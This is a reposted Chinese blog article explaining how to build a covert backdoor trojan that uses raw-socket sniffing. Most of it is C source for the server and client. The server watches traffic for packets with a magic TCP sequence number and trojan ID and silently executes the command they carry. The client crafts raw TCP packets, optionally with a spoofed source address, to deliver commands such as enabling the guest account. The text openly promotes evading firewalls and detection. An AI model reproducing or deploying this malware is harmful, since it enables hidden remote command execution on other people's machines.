[转]基于嗅探原理的原始套接字木马编写原理~~~~~~~好讲解

[转]基于嗅探原理的原始套接字木马编写原理~~~~~~~好讲解

文章作者:[email protected]

基于嗅探原理的原始套接字木马。

首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力
非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马,
比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置
上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流
行,因为表现为不是直接的由外向内的TCP连接。

当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的
隐藏,而强调在通讯方式上。

这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个
sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据
包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通
过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发
送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。

比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。

该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采
用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、
可实现无连接反向通讯、甚至能够突破一些防火墙的监视;

缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效
率占很重要的地位;

以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。

其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。


定义部分:

  1 #define  MAX_PACKET_SIZE     65536 
  2 #define  SEQ_IDENTITY     12345    // 验证是否符合需要的SEQ值,这个值在正常包中不会有吧! 
  3 #define  TROJAN_ID_IDENTITY   6789    // 验证是否符合需要的trojan_id值 
  4 #define  LOCAL_PORT     1234    // 本地Port, 这个定义并没有实际意义 
  5 #define  SERVER_PORT     80    // 服务端Port, 这个定义并没有实际意义 
  6
  7 typedef  struct  ip_hdr            // 定义IP首部 
  8
  9 unsigned  char    h_verlen;      // 4位首部长度,4位IP版本号 
 10 unsigned  char    tos;          // 8位服务类型TOS 
 11 unsigned  short    total_len;      // 16位总长度(字节) 
 12 unsigned  short    ident;          // 16位标识 
 13 unsigned  short    frag_and_flags;    // 3位标志位 
 14 unsigned  char    ttl;          // 8位生存时间 TTL 
 15 unsigned  char    proto;          // 8位协议 (TCP, UDP 或其他) 
 16 unsigned  short    checksum;      // 16位IP首部校验和 
 17 unsigned  int    sourceIP;      // 32位源IP地址 
 18 unsigned  int    destIP;          // 32位目的IP地址 
 19 }
IP_HEADER,  * PIP_HEADER; 
 20
 21 typedef  struct  psd_hdr            // 定义TCP伪首部 
 22
 23 unsigned  long    saddr;          // 源地址 
 24 unsigned  long    daddr;          // 目的地址 
 25 char          mbz; 
 26 char          ptcl;          // 协议类型 
 27 unsigned  short    tcpl;          // TCP长度 
 28 }
PSD_HEADER; 
 29
 30
 31 typedef  struct  tcp_hdr            // 定义TCP首部 
 32
 33 unsigned  short    th_sport;      // 16位源端口 
 34 unsigned  short    th_dport;      // 16位目的端口 
 35 unsigned  int    th_seq;          // 32位序列号 
 36 unsigned  int    th_ack;          // 32位确认号 
 37 unsigned  char    th_lenres;      // 4位首部长度/6位保留字 
 38 unsigned  char    th_flags;      // 6位标志位 
 39 unsigned  short    th_win;          // 16位窗口大小 
 40 unsigned  short    th_sum;          // 16位校验和 
 41 unsigned  short    th_urp;          // 16位紧急数据偏移量 
 42 }
TCP_HEADER,  * PTCP_HEADER; 
 43
 44 typedef  struct  trojan_packet      // 定义木马使用的协议 
 45
 46 unsigned  int    trojan_id;      // 木马数据包的标识,网络顺序 
 47 unsigned  short    trojan_len;      // 执行的命令长度,主机顺序 
 48 }
TROJAN_HEADER,  * PTROJAN_HEADER; 
 49
 50
 51 /**/ /*  
 52 木马数据包的结构 
 53
 54 ------------------------------------------------------------- 
 55 | IP Header | TCP Header | Trojan Header | Trojan Command 
 56 ------------------------------------------------------------- 
 57
 58 包的最小程度是46字节 
 59 */
 
 60
 61 #pragma pack(pop) 
 62
 63
 64 SERVER部分的演示(Server.cpp): 
 65
 66 /**/ ////////////////////////////////////////////////////////////////////////////// // 
 67 //      
 68 //      SniffTrojan 
 69 //      
 70 //      File     : Server.cpp 
 71 //      Comment   : The Server model 
 72 //      
 73 //      Created at : 2002.9.13 
 74 //      Created by : Refdom 
 75 //      Email     : [email protected]
 76 //      Home Page :  http://www.opengram.com/
 77 //  
 78 //      If you modify the code, or add more functions, please email me a copy. 
 79 //      
 80 /**/ ////////////////////////////////////////////////////////////////////////////// // 
 81
 82 /**/ /*  
 83 木马数据包的结构 
 84
 85 ------------------------------------------------------------- 
 86 | IP Header | TCP Header | Trojan Header | Trojan Command 
 87 ------------------------------------------------------------- 
 88
 89 包的最小程度是46字节 
 90 */
 
 91
 92 /**/ //////////////////////////////////////////////// // 
 93
 94 void  Usage(); 
 95
 96 int  SniffThread(); 
 97
 98 int  SendThread(); 
 99
100 int  DecodeData( char *  pBuffer); 
101
102 unsigned  long  GetLocalIP(); 
103
104 /**/ //////////////////////////////////////////////// // 
105
106 int  main( int  argc,  char *  argv[]) 
107
108 WSADATA WSAData; 
109 int  nRetCode  =   0
110
111 if  (WSAStartup(MAKEWORD( 2 , 2 ),  & WSAData)  !=   0  ) 
112
113      // WSAStartup Error! 
114     printf( " WSAStartup Error!%d\n " , WSAGetLastError()); 
115     nRetCode  =   - 1
116      return  nRetCode; 
117 }
 
118   
119 // 开始嗅探数据 
120 SniffThread(); 
121
122 // quit 
123 WSACleanup(); 
124
125 return   0
126 }
 
127
128 void  Usage() 
129
130 printf( " **************************************************\n " ); 
131 printf( " Demo For SniffTrojan\n\n " ); 
132 printf( " \t Written by Refdom\n " ); 
133 printf( " \t Email: [email protected] or [email protected]\n " ); 
134 printf( " \t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n " ); 
135 printf( " **************************************************\n " ); 
136 }
 
137
138 int  SniffThread() 
139
140 int  nRetCode  =   0
141 int  nRecvBytes  =   0
142
143 char *  pBuffer  =  NULL; 
144
145 SOCKET nSock  =  INVALID_SOCKET; 
146 SOCKADDR_IN addr_in; 
147
148 DWORD dwBufferLen[ 10 ]; 
149 DWORD dwBufferInLen  =   1
150 DWORD dwBytesReturned  =   0
151
152 // define a raw socket 
153 nSock  =  socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 
154 if  (INVALID_SOCKET  ==  nSock) 
155
156     nRetCode  =   - 1
157      goto  Exit0; 
158 }
 
159
160 addr_in.sin_family  =  AF_INET; 
161 addr_in.sin_port  =  INADDR_ANY; 
162 addr_in.sin_addr.S_un.S_addr  =  GetLocalIP(); 
163
164 nRetCode  =  bind(nSock, ( struct  sockaddr * ) & addr_in,  sizeof (addr_in)); 
165 if  (SOCKET_ERROR  ==  nRetCode) 
166
167     printf( " BIND Error!%d\n " , WSAGetLastError()); 
168      goto  Exit0; 
169 }
 
170
171 // socket for sniffer 
172 nRetCode  =  WSAIoctl(nSock, SIO_RCVALL,  & dwBufferInLen,  sizeof (dwBufferInLen), 
173      & dwBufferLen,  sizeof (dwBufferLen),  & dwBytesReturned , NULL , NULL ); 
174 if  (SOCKET_ERROR  ==  nRetCode) 
175
176     printf( " WSAIOCTL Error!%d\n " , WSAGetLastError()); 
177      goto  Exit0; 
178 }
 
179
180 // start sniffing 
181 pBuffer  =  ( char * )malloc(MAX_PACKET_SIZE); 
182 while ( 1
183
184     memset(pBuffer,  0 , MAX_PACKET_SIZE); 
185
186     nRecvBytes  =  recv(nSock, pBuffer, MAX_PACKET_SIZE,  0 ); 
187      if  (SOCKET_ERROR  ==  nRetCode) 
188     
189       printf( " RECV Error!%d\n " , WSAGetLastError()); 
190        goto  Exit0; 
191     }
 
192
193      if  (nRecvBytes  <   46
194        continue
195     
196     DecodeData(pBuffer);    // 数据解码 
197
198 }
 
199
200 Exit0: 
201
202 if  (pBuffer  !=  NULL) 
203     free(pBuffer); 
204
205 if  (nSock  !=  INVALID_SOCKET) 
206     closesocket(nSock); 
207
208 return  nRetCode; 
209 }
 
210
211 // 获取本地IP地址 
212 unsigned  long  GetLocalIP() 
213
214 char  szLocalIP[ 20 =  ; 
215 char  szHostName[ 128 + 1 =   ""
216 hostent  * phe; 
217 int  i; 
218 if ( gethostname(szHostName,  128  )  ==   0  ) 
219      //  Get host adresses 
220     phe  =  gethostbyname(szHostName); 
221      for ( i  =   0 ; phe  !=  NULL  &&  phe -> h_addr_list !=  NULL; i ++  ) 
222     
223       sprintf(szLocalIP,  " %d.%d.%d.%d "
224         (UINT)((UCHAR * )phe -> h_addr_list)[ 0 ], 
225         (UINT)((UCHAR * )phe -> h_addr_list)[ 1 ], 
226         (UINT)((UCHAR * )phe -> h_addr_list)[ 2 ], 
227         (UINT)((UCHAR * )phe -> h_addr_list)[ 3 ]); 
228     }
 
229 }
 
230 else  
231      return   0
232
233 return  inet_addr(szLocalIP); 
234 }
 
235
236
237 int  DecodeData( char *  pBuffer) 
238
239 int  nRetCode  =   0
240 char *  pCommand  =  NULL; 
241 unsigned  short  usCmdLength  =   0
242
243 PIP_HEADER pIPHeader  =  NULL; 
244 PTCP_HEADER pTCPHeader  =  NULL; 
245 PTROJAN_HEADER pTrojanHeader  =  NULL; 
246
247 pIPHeader  =  (PIP_HEADER)pBuffer; 
248
249 // 只取TCP包 
250 if  (pIPHeader -> proto  !=  IPPROTO_TCP) 
251      goto  Exit0; 
252
253 pTCPHeader  =  (PTCP_HEADER)(pBuffer  +   sizeof (IP_HEADER)); 
254
255 // 验证该TCP包是否其SEQ值符合需要 
256 if  (ntohs(pTCPHeader -> th_seq)  !=  SEQ_IDENTITY) 
257      goto  Exit0; 
258
259 pTrojanHeader  =  (PTROJAN_HEADER)(pBuffer  +   sizeof (IP_HEADER)  +   sizeof (TCP_HEADER)); 
260
261 // 验证该TCP包是否是合法的木马包 
262 if  (ntohs(pTrojanHeader -> trojan_id)  !=  TROJAN_ID_IDENTITY) 
263      goto  Exit0; 
264
265 usCmdLength  =  pTrojanHeader -> trojan_len;    // 获得命令的长度 
266
267 if  ( 0   ==  usCmdLength) 
268      goto  Exit0; 
269
270 printf( " OK!\n " ); 
271
272 pCommand  =  ( char * )malloc(usCmdLength  +   1 ); 
273 memset(pCommand,  0 , usCmdLength  +   1 ); 
274
275 memcpy(pCommand, pBuffer  +   sizeof (IP_HEADER)  +   sizeof (TCP_HEADER)  +   sizeof (TROJAN_HEADER), usCmdLength); 
276
277 nRetCode  =  WinExec(pCommand, SW_HIDE);    // 执行命令 
278 if  (nRetCode  >   31
279
280      // WinExec Successfully! 
281 }
 
282
283 Exit0: 
284
285 return  nRetCode; 
286 }
 
287
288
289 控制端的演示(Client.cpp): 
290
291
292 /**/ //////////////////////////////////////////////// // 
293 void  Usage() 
294
295 printf( " **************************************************\n " ); 
296 printf( " Demo For SniffTrojan\n\n " ); 
297 printf( " \t Written by Refdom\n " ); 
298 printf( " \t Email: [email protected] or [email protected]\n " ); 
299 printf( " \t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n " ); 
300 printf( " Usage: Client.exe ServerIP Command\n " ); 
301 printf( " eg:Client.exe 192.168.0.2 \ " net user guest  / active\ " \n " ); 
302 printf( " **************************************************\n " ); 
303 }
 
304 /**/ //////////////////////////////////////////////// // 
305
306 int  main( int  argc,  char *  argv[]) 
307
308 int  nRetCode  =   0 , nCommandLength  =   0
309 char  szDataBuf[MAX_PACKET_SIZE]  =  ; 
310 char *  pCommand  =  NULL; 
311
312 BOOL bOption; 
313 WSADATA WSAData; 
314 SOCKET nSock  =  INVALID_SOCKET; 
315 SOCKADDR_IN   addr_in; 
316
317 IP_HEADER IP_Header; 
318 TCP_HEADER TCP_Header; 
319 PSD_HEADER PSD_Header; 
320 TROJAN_HEADER Trojan_Header; 
321
322 Usage(); 
323
324 if  (argc  !=   3
325
326     printf( " \nArguments Error!\n " ); 
327      return   - 1
328 }
 
329
330 // 获得需要执行的命令 
331 nCommandLength  =  strlen(argv[ 2 ]); 
332 pCommand  =  ( char * )malloc(nCommandLength  +   2 ); 
333 memset(pCommand,  0 , nCommandLength  +   2 ); 
334 memcpy(pCommand, argv[ 2 ], nCommandLength); 
335
336
337 if  (WSAStartup(MAKEWORD( 2 , 2 ),  & WSAData)  !=   0
338
339      // WSAStartup Error! 
340     printf( " WSAStartup Error!%d\n " , WSAGetLastError()); 
341     nRetCode  =   - 1
342      return  nRetCode; 
343 }
 
344
345 nSock  =  socket(AF_INET, SOCK_RAW, IPPROTO_IP); 
346 if  (INVALID_SOCKET  ==  nSock) 
347
348     printf( " SOCKET Error!%d\n " , WSAGetLastError()); 
349      goto  Exit0; 
350 }
 
351
352 nRetCode  =  setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, ( char * ) & bOption,  sizeof (bOption)); 
353 if  (SOCKET_ERROR  ==  nRetCode) 
354
355     printf( " SetSockOpt Error!%d\n " , WSAGetLastError()); 
356      goto  Exit0; 
357 }
 
358
359 // 填充IP首部 
360 IP_Header.h_verlen  =  ( 4   <<   4 |  ( sizeof (IP_HEADER)  /   sizeof (unsigned  long )); 
361 IP_Header.tos  =   0
362 IP_Header.total_len  =  htons( sizeof (IP_HEADER)  +   sizeof (TCP_HEADER)); 
363 IP_Header.frag_and_flags  =   0
364 IP_Header.ttl  =   128
365 IP_Header.proto  =  IPPROTO_TCP; 
366 IP_Header.checksum  =   0
367 IP_Header.sourceIP  =  GetLocalIP();    // 当然可以伪造自己的地址 
368 IP_Header.destIP  =  inet_addr(argv[ 1 ]);    // 服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网 
369
370 段或者同HUB的地址。 
371
372 // 填充TCP首部 
373 TCP_Header.th_sport  =  htons(LOCAL_PORT);  // 这个端口没有实际意义,倒是可以躲开防火墙 
374 TCP_Header.th_dport  =  htons(SERVER_PORT);  // 这个端口没有实际意义,倒是可以躲开防火墙 
375 TCP_Header.th_seq  =  htons(SEQ_IDENTITY);      // 木马服务器端的识别标志 
376 TCP_Header.th_ack  =   345678
377 TCP_Header.th_lenres  =  ( sizeof (TCP_HEADER) / 4 << 4 | 0 ); 
378 TCP_Header.th_flags  =   0x01 ;          // 随意设置TCP标志位 
379 TCP_Header.th_win  =   12345
380 TCP_Header.th_urp  =   0
381 TCP_Header.th_sum  =   0
382
383 // 填充木马协议的头部 
384 Trojan_Header.trojan_id  =  htons(TROJAN_ID_IDENTITY); 
385 Trojan_Header.trojan_len  =  nCommandLength; 
386
387 // 填充TCP伪首部(用于计算校验和) 
388 PSD_Header.saddr  =  IP_Header.sourceIP; 
389 PSD_Header.daddr  =  IP_Header.destIP; 
390 PSD_Header.mbz  =   0
391 PSD_Header.ptcl  =  IPPROTO_TCP; 
392 PSD_Header.tcpl  =  htons( sizeof (TCP_HEADER)  +   sizeof (TROJAN_HEADER)  +  nCommandLength); 
393
394 // 计算TCP校验和 
395 memcpy(szDataBuf,  & PSD_Header,  sizeof (PSD_HEADER)); 
396 memcpy(szDataBuf  +   sizeof (PSD_HEADER),  & TCP_Header,  sizeof (TCP_HEADER)); 
397 memcpy(szDataBuf  +   sizeof (PSD_HEADER)  +   sizeof (TCP_HEADER),  & Trojan_Header,  sizeof (TROJAN_HEADER)); 
398 memcpy(szDataBuf  +   sizeof (PSD_HEADER)  +   sizeof (TCP_HEADER)  +   sizeof (TROJAN_HEADER), pCommand, nCommandLength); 
399 TCP_Header.th_sum  =  CheckSum((unsigned  short   * )szDataBuf,  sizeof (PSD_HEADER)  +   sizeof (TCP_HEADER)  +  
400
401 sizeof (TROJAN_HEADER)  +  nCommandLength); 
402
403 // 填充发送缓冲区 
404 memcpy(szDataBuf,  & IP_Header,  sizeof (IP_HEADER)); 
405 memcpy(szDataBuf  +   sizeof (IP_HEADER),  & TCP_Header,  sizeof (TCP_HEADER)); 
406 memcpy(szDataBuf  +   sizeof (IP_HEADER)  +   sizeof (TCP_HEADER),  & Trojan_Header,  sizeof (TROJAN_HEADER)); 
407 memcpy(szDataBuf  +   sizeof (IP_HEADER)  +   sizeof (TCP_HEADER)  +   sizeof (TROJAN_HEADER), pCommand, nCommandLength); 
408
409 addr_in.sin_family  =  AF_INET; 
410 addr_in.sin_port  =  htons(LOCAL_PORT); 
411 addr_in.sin_addr.S_un.S_addr  =  inet_addr(argv[ 1 ]); 
412
413 // 发送命令 
414 printf( " Start to send command\n " ); 
415 nRetCode  =  sendto(nSock, szDataBuf, 
416              sizeof (IP_HEADER)  +   sizeof (TCP_HEADER)  +   sizeof (TROJAN_HEADER)  +  nCommandLength, 
417              0 , ( struct  sockaddr * ) & addr_in,  sizeof (addr_in)); 
418 if  (SOCKET_ERROR  ==  nRetCode) 
419
420     printf( " Sendto Error!%d\n " , WSAGetLastError()); 
421      goto  Exit0; 
422 }
 
423
424 printf( " Send OK!\n " ); 
425
426
427 Exit0: 
428
429 if  (pCommand  !=  NULL) 
430     free(pCommand); 
431
432 if  (nSock  !=  INVALID_SOCKET) 
433     closesocket(nSock); 
434   
435 WSACleanup(); 
436
437 return   0
438 }

439
440


2002年的文章 现在还在传 算了 冰血封情还是发吧



地震让大伙知道:居安思危,才是生存之道。

你可能感兴趣的:([转]基于嗅探原理的原始套接字木马编写原理~~~~~~~好讲解)